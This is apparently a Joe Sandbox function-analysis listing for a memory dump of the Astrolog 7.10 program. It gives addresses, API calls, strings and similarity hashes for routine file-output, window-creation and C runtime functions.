Instruction Fuzzy Hash: 08315C3110964ACBDB218F1CA2049A63BF1EB46758B26C9A5E8D58BB85DF31C875C358

Function 6C82B828 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C82B842
_sprintf.LIBCMT ref: 6C82B8C0
_fseek.LIBCMT ref: 6C82B8FF

Strings

CPJV_, xrefs: 6C82B8B2
%s%s%d, xrefs: 6C82B8BA

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4_fseek_sprintf
String ID: %s%s%d$CPJV_
API String ID: 2752894067-283752847
Opcode ID: ce0f27f77cdfdaff0f63c1d314496efdccf5df19fc8f56d0c44f440457914e5c
Instruction ID: b3b228a5e7598b167aa73833c14c115e402fd5a950aef84c8c765e2ab45b3179
Opcode Fuzzy Hash: ce0f27f77cdfdaff0f63c1d314496efdccf5df19fc8f56d0c44f440457914e5c
Instruction Fuzzy Hash: 90217C71B1224566DB384B7D8E09ABA37ADDB81354F100D3AE415DBBC0FF38D9848794

Function 6C82B928 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6C82B942
_sprintf.LIBCMT ref: 6C82B9C0
_fseek.LIBCMT ref: 6C82B9FF

Strings

%s%s%d, xrefs: 6C82B9BA
CHI_, xrefs: 6C82B9B2

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __floor_pentium4_fseek_sprintf
String ID: %s%s%d$CHI_
API String ID: 2752894067-2087566412
Opcode ID: c8b09197c9a624f030b82a570635c264b8234d99b631d2106f6962a37b25ce4a
Instruction ID: 7e3d94aa811849e21cd82ef387f8a9f7e20342eb41941fd67cbfc80e2487daf8
Opcode Fuzzy Hash: c8b09197c9a624f030b82a570635c264b8234d99b631d2106f6962a37b25ce4a
Instruction Fuzzy Hash: 96212E71B126456ADB385B7D9E09BAA37AD9B81314F204E39E412EBBC0FF34D8448790

Function 6C878B9C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,Astrolog), ref: 6C878BE2
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 6C878BF7
_sprintf.LIBCMT ref: 6C878C56

Strings

Astrolog, xrefs: 6C878BDB
Couldn't create output file: %s, xrefs: 6C878C50

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: CreateMutexObjectSingleWait_sprintf
String ID: Astrolog$Couldn't create output file: %s
API String ID: 3492677756-3750478589
Opcode ID: c95bb053bb20f353766f636821185ca2f1b968afbf1a1dcd3fabb55a633b6fbb
Instruction ID: 4d389c01be69ec17da4171dc15f4398e7c1641d072eb6960662a7a6ebbc2581c
Opcode Fuzzy Hash: c95bb053bb20f353766f636821185ca2f1b968afbf1a1dcd3fabb55a633b6fbb
Instruction Fuzzy Hash: 701196B0B02104AFDF31DB26AE89D5E37B4E78735CB240D37E551E6A40EA349884CBA0

Function 6C85EB44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53windowregistrytimeCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(?,0000006F), ref: 6C85EB99
LoadCursorA.USER32(00000000,00007F00), ref: 6C85EBA8
RegisterClassA.USER32(00002003), ref: 6C85EBC6
LoadMenuA.USER32(00000079), ref: 6C85EBEA
CreateWindowExA.USER32(00000000,Astrolog,Astrolog 7.10,02FF0000,80000000,80000000,80000000,80000000,00000000,00000000,00000000), ref: 6C85EC17
CoInitialize.OLE32(00000000), ref: 6C85EC2E
LoadAcceleratorsA.USER32(00000065), ref: 6C85EC5F
ShowWindow.USER32(?), ref: 6C85ED33
SetTimer.USER32(00000001,00000000), ref: 6C85ED4D
ShowCursor.USER32(00000000), ref: 6C85ED61
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 6C85EDBE
CloseHandle.KERNEL32(00000000), ref: 6C85EDD4
UnregisterClassA.USER32(Astrolog), ref: 6C85EDE5

Strings

The window class could not be registered., xrefs: 6C85EBD1
Astrolog, xrefs: 6C85EBBF

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: Load$ClassCursorShowWindow$AcceleratorsCloseCreateHandleIconInitializeMenuMessageRegisterTimerUnregister
String ID: Astrolog$The window class could not be registered.
API String ID: 2297867841-2329953727
Opcode ID: e85fcce2208cce0b479e6852a4a1f6a79d3d68bc70e0513c037c0c38ac8d7f27
Instruction ID: a2f2ca43a6e614d55c5ceccc285c8daea32c91e6f3430ee078b5d6f6280d7f77
Opcode Fuzzy Hash: e85fcce2208cce0b479e6852a4a1f6a79d3d68bc70e0513c037c0c38ac8d7f27
Instruction Fuzzy Hash: D71179B1E04309EFDB20CFD9E9856EEBBB4FB05358F50462EF904A6190C3745525CBA0

Function 6C8228E5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C8228FA

Part of subcall function 6C8837D0: __FF_MSGBANNER.LIBCMT ref: 6C8837E9
Part of subcall function 6C8837D0: __NMSG_WRITE.LIBCMT ref: 6C8837F0
Part of subcall function 6C8837D0: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C887A8B,?,00000001,?,?,6C887F4A,00000018,6C8F2E78,0000000C,6C887FDA), ref: 6C883815

_sprintf.LIBCMT ref: 6C82291A

Part of subcall function 6C8217C6: _sprintf.LIBCMT ref: 6C8217ED
Part of subcall function 6C8217C6: MessageBoxA.USER32(?,?,00000010), ref: 6C821802

Strings

%s: Not enough memory for %s (%ld bytes)., xrefs: 6C822914
Astrolog, xrefs: 6C82290C
trie, xrefs: 6C82290B

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$AllocateHeapMessage_malloc
String ID: %s: Not enough memory for %s (%ld bytes).$Astrolog$trie
API String ID: 3067423848-3826234810
Opcode ID: f2bc2b364e1d18051da3df582c6c63d374b7ef75935c88b003195dff7aad1ebe
Instruction ID: a8339ff9032312390739680ae0d78f95cfb2f0c15ae0c167ee346f1f1b463f5e
Opcode Fuzzy Hash: f2bc2b364e1d18051da3df582c6c63d374b7ef75935c88b003195dff7aad1ebe
Instruction Fuzzy Hash: BBF0B1716065045B8B21EBAD8E45CDBB37CDB467187510937A50157F46DF78ED08C7D0

Function 6C878E1F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 6C878DC8: _fprintf.LIBCMT ref: 6C878DDC

_fprintf.LIBCMT ref: 6C878E43
_fprintf.LIBCMT ref: 6C878E58
_fprintf.LIBCMT ref: 6C878E6A

Strings

[%d %d, xrefs: 6C878E38
]0 setdash, xrefs: 6C878E5F

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _fprintf
String ID: [%d %d$]0 setdash
API String ID: 1654120334-3947119172
Opcode ID: 0195e9a2c9cfe018a217d86f0459a50142cf937ff227a1119ed9ab73c8447735
Instruction ID: b810cb4dc46036b1480895935dbfe9a74a4a2221a5a8675551ea4f58067e62c3
Opcode Fuzzy Hash: 0195e9a2c9cfe018a217d86f0459a50142cf937ff227a1119ed9ab73c8447735
Instruction Fuzzy Hash: 34E0ED327062106ADA361619AE09D5EB6609717B9CB104C37F4247BA61F731AD4095E4

Function 6C883BC6 Relevance: 7.7, APIs: 5, Instructions: 160COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 6C883C21
_memcpy_s.LIBCMT ref: 6C883C92
__read.LIBCMT ref: 6C883CF5
__filbuf.LIBCMT ref: 6C883D11

Part of subcall function 6C886FBC: __getptd_noexit.LIBCMT ref: 6C886FBC

_memset.LIBCMT ref: 6C883D52

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: 16f9164df970741f960c3cc4d533f655796358c5ae857dace7fc03011078fbd5
Instruction ID: d7b04d0baff0495e065446c2e037772ada5c0cfc75c4b9b822c0295683a87dd2
Opcode Fuzzy Hash: 16f9164df970741f960c3cc4d533f655796358c5ae857dace7fc03011078fbd5
Instruction Fuzzy Hash: 61519374A03609EBDB308E69CA4069EB7B6AF41328F218E29E43497E90D7719E55CB50

Function 6C89DEB5 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,?,6C8F3338,0000000C), ref: 6C89DEE9
GetLastError.KERNEL32(?,?,6C8F3338,0000000C), ref: 6C89DEF3
__dosmaperr.LIBCMT ref: 6C89DEFA
__alloc_osfhnd.LIBCMT ref: 6C89DF1B
__set_osfhnd.LIBCMT ref: 6C89DF45

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: ErrorFileLastType__alloc_osfhnd__dosmaperr__set_osfhnd
String ID:
API String ID: 43408053-0
Opcode ID: 6bdb7ab0e41dac90e73a21b274af7491ec05c9f500331ac84f9d963e88176bba
Instruction ID: e8e1fdf275f81a1abcf699e0bb52f351cd1de708381e7b247287b96d9c10c046
Opcode Fuzzy Hash: 6bdb7ab0e41dac90e73a21b274af7491ec05c9f500331ac84f9d963e88176bba
Instruction Fuzzy Hash: 9021C1316562049ADB218F6CC6017CDBB60AF42328F288F56E4758BAD2D775C145DF98

Function 6C8858E0 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6C8858EE

Part of subcall function 6C8837D0: __FF_MSGBANNER.LIBCMT ref: 6C8837E9
Part of subcall function 6C8837D0: __NMSG_WRITE.LIBCMT ref: 6C8837F0
Part of subcall function 6C8837D0: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,6C887A8B,?,00000001,?,?,6C887F4A,00000018,6C8F2E78,0000000C,6C887FDA), ref: 6C883815

_free.LIBCMT ref: 6C885901

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 5bc87404edf6620c62fc31c88cb9981f51afa7721f1519fcdc4098f7de838734
Instruction ID: af7807183abab6d27d3b5022b7a6fad4fecf2ced749a0289dc7bd4cd12fdb5e6
Opcode Fuzzy Hash: 5bc87404edf6620c62fc31c88cb9981f51afa7721f1519fcdc4098f7de838734
Instruction Fuzzy Hash: CD11E6325177169ADB311E79BE0468A36A59B46378B200D3AF81AC7E50DB34D8548794

Function 6C888EFF Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 6C888F0B

Part of subcall function 6C889165: __getptd_noexit.LIBCMT ref: 6C889168
Part of subcall function 6C889165: __amsg_exit.LIBCMT ref: 6C889175

__getptd.LIBCMT ref: 6C888F22
__amsg_exit.LIBCMT ref: 6C888F30
__lock.LIBCMT ref: 6C888F40
__updatetlocinfoEx_nolock.LIBCMT ref: 6C888F54

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 68562243e1370ea00585e2b659605a2059afc50831c8dc91b334bad2b87ef073
Instruction ID: bd096c864f78c91a497bf1311eec392559aa57af0caeee4180ffaa3c30710e10
Opcode Fuzzy Hash: 68562243e1370ea00585e2b659605a2059afc50831c8dc91b334bad2b87ef073
Instruction Fuzzy Hash: ABF09632E072109AD6319B7C5A05B8E73B06F0076DF104D2AE464A6FC0CB385544DA65

Function 6C81FE33 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 333COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C81FE83

Part of subcall function 6C8826E0: __atof_l.LIBCMT ref: 6C8826EA

_sprintf.LIBCMT ref: 6C82017F

Strings

Unknown parameter: '%s'Context: ', xrefs: 6C820171
Couldn't get parameter %d due to end of line., xrefs: 6C81FE7D

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034856499.000000006C8F7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034888990.000000006C8F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034932952.000000006C91D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034963589.000000006C91E000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C920000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C923000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C928000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C92E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4034985115.000000006C930000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.4035157390.000000006C933000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c800000_vhCQTUg.jbxd

Similarity

API ID: _sprintf$__atof_l
String ID: Couldn't get parameter %d due to end of line.$Unknown parameter: '%s'Context: '
API String ID: 2076877804-16269964
Opcode ID: e351b2116a77e2b63042f7ee5f0ffe948d12fd613b4249f2c558fe41e7305b57
Instruction ID: ae343bdf3bcec2d84f0f8b266bee46ebc1c4c450d5d27644294485cab2c8caa8
Opcode Fuzzy Hash: e351b2116a77e2b63042f7ee5f0ffe948d12fd613b4249f2c558fe41e7305b57
Instruction Fuzzy Hash: 17B1593250D2868EE731CE28C65479EB7E1AB97318F104D1ED49597E81CB7885C9C7D2

Function 6C8195C4 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 309COMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 6C819911
_sprintf.LIBCMT ref: 6C819957

Strings

%s %s , xrefs: 6C819951
%.3s , xrefs: 6C81990B

Memory Dump Source

Source File: 00000006.00000002.4034719650.000000006C801000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C800000, based on PE: true

Associated: 00000006.00000002.4034696004.000000006C800000.00000002.00000001.01000000.00000007.sdmpDownload File
